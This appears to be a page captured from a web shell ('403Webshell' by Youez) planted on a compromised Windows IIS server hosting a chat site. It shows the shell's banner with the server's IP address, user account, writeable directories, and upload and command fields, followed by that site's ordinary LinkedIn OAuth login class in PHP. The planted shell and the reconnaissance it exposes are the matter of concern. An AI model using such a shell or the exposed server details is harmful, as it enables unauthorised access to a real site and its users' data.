403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current//linkedin.class.php
<?php

class Linkedin
{
    private static $instance;
    private static $nameSocial='linkedin';

    /* private methods */

    private function getUrlAuth()
    {/*
        $params = $this->getParamsAuth();
        set_session(self::$nameSocial.'_client_id',$params['client_id']);
        set_session(self::$nameSocial.'_client_secret',$params['client_secret']);
*/
      return 'social_login.php?module='.self::$nameSocial;
    }

    private function getUrlToken()
    {
        return  '';
    }

    public function getParamsAuth()
    {
        $client_id = Common::getOption(self::$nameSocial.'_appid');
        $client_secret = Common::getOption(self::$nameSocial.'_secret');

        $params = array(
            'response_type' => 'code',
            'client_id'     => $client_id,
            'client_secret' => $client_secret,
        );
        return $params;
    }

    public function getUserInfo($code)
    {
        $result = false;
        $userInfo=false;

        $userInfo=get_session(self::$nameSocial.'_user_info',false);

    return $userInfo;

    }

    public static function getInstance()
    {
        global $g;
        if (isset($g['options'][self::$nameSocial.'_appid'])
            && isset($g['options'][self::$nameSocial.'_secret'])
            && $g['options'][self::$nameSocial.'_appid'] != ''
            && $g['options'][self::$nameSocial.'_secret'] != ''
        ) {

            if(self::$instance === null){
                // Create our Application instance (replace this with your appId and secret)
                self::$instance = new self(array(
                    'appId' => $g['options'][self::$nameSocial.'_appid'],
                    'secret' => $g['options'][self::$nameSocial.'_secret'],
                    'cookie' => true,
                ));

            }

            return  self::$instance;
        } else {
            return false;
        }
    }

    public function parse()
    {

    }

    public function getUserId()
    {
        $userInfo = get_session(self::$nameSocial.'_user_info');

        if(isset($userInfo['sub'])){
            return $userInfo['sub'];
        } else {
            return false;
        }
    }

    public function loginRedirectUrl()
    {
        $url = '';
        $url = $this->getUrlAuth();
        return $url;
    }

    public function setJoinInfo()
    {
        global $g;


        $me = get_session(self::$nameSocial.'_user_info');

        set_session(self::$nameSocial.'_id', 0);
        set_session(self::$nameSocial.'_photo', false);
        set_session('social_id', 0);
        set_session('social_photo', false);

        // check if already registered
        if ($me) {

            if (isset($me['email'])) {
                if (get_param('email') == '') {
                    $_GET['email'] = $me['email'];
                    $_GET['verify_email'] = $me['email'];
                }
            }

            if (isset($me['name'])) {
                if (get_param('join_handle') == '') {
                    $_GET['join_handle'] = $me['name'];
                }
            }

            set_session(self::$nameSocial.'_id', $me['sub']);
            set_session('social_id', $me['sub']);
            set_session('social_type', self::$nameSocial);
            // set picture if exists
            if(isset($me['picture'])) {
                // disabled because picture is 100x100 now
                //set_session('social_photo', $me['picture']);
            }

        }
    }


    static function getLikeButtonScript()
    {

        return '';

    }

    static function getLikeButtonHtml()
    {
        return '';
    }


    public function oAuthApi()
    {
        $nameSocial=self::$nameSocial;
        $params=$this->getParamsAuth();

        require(dirname(__FILE__).'/../../_include/current/oauth/http.php');
        require(dirname(__FILE__).'/../../_include/current/oauth/oauth_client.php');

        $currentUrl = Social::getCallbackUrl($nameSocial);

        $client = new oauth_client_class;
        $client->server = 'LinkedIn';
        $client->debug = false;
        $client->debug_http = false;
        $client->scope = 'profile email openid';
        $client->redirect_uri = $currentUrl;
        $client->offline = true;
        $client->client_id = $params['client_id'];
        $application_line = __LINE__;
        $client->client_secret = $params['client_secret'];

        $user = array();

        if(($success = $client->Initialize()))
        {
            $client->access_token_type = $client->default_access_token_type = 'Bearer';

            if(($success = $client->Process()))
            {
                $accessTokenData = null;
                $client->GetAccessToken($accessTokenData);

                if($accessTokenData && isset($accessTokenData['value'])) {

                    $accessToken = $accessTokenData['value'];

                    $url = 'https://api.linkedin.com/v2/userinfo';
                    $userinfo = $this->sendApiRequest($url, $accessToken);
                    if(is_array($userinfo)) {

                        $user['sub'] = $userinfo['sub'];
                        $user['name'] = $userinfo['name'];
                        $user['email'] = $userinfo['email'];

//                        $url = 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))';
//                        $email = $this->sendApiRequest($url, $accessToken);
//                        if(is_array($email)) {
//                            $user['emailAddress'] = isset($email['elements'][0]['handle~']['emailAddress']) ? $email['elements'][0]['handle~']['emailAddress'] : '';
//                        }
                    }
                }

            }
            $success = $client->Finalize($success);

        }

        if($client->exit){
            exit;
        }

        if($success)
        {
            $userInfo = (array)$user;
//            if(isset($userInfo['pictureUrls'])){
//                $userInfo['pictureUrls']=(array)($userInfo['pictureUrls']);
//            }
            set_session($nameSocial.'_user_info', $userInfo);
            redirect('join_facebook.php?cmd=ln_login');         /*******************/
        } else {
            $message = HtmlSpecialChars($client->error);
            Social::logError($message);
            redirect('join.php');
        }




    }

    public function sendApiRequest($url, $accessToken)
    {
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, $url);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($c, CURLOPT_HTTPHEADER, array('Authorization: Bearer ' . $accessToken));

        $response = curl_exec($c);
        curl_close($c);

        if($response) {
            $response = json_decode($response, true);
        }

        return $response;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit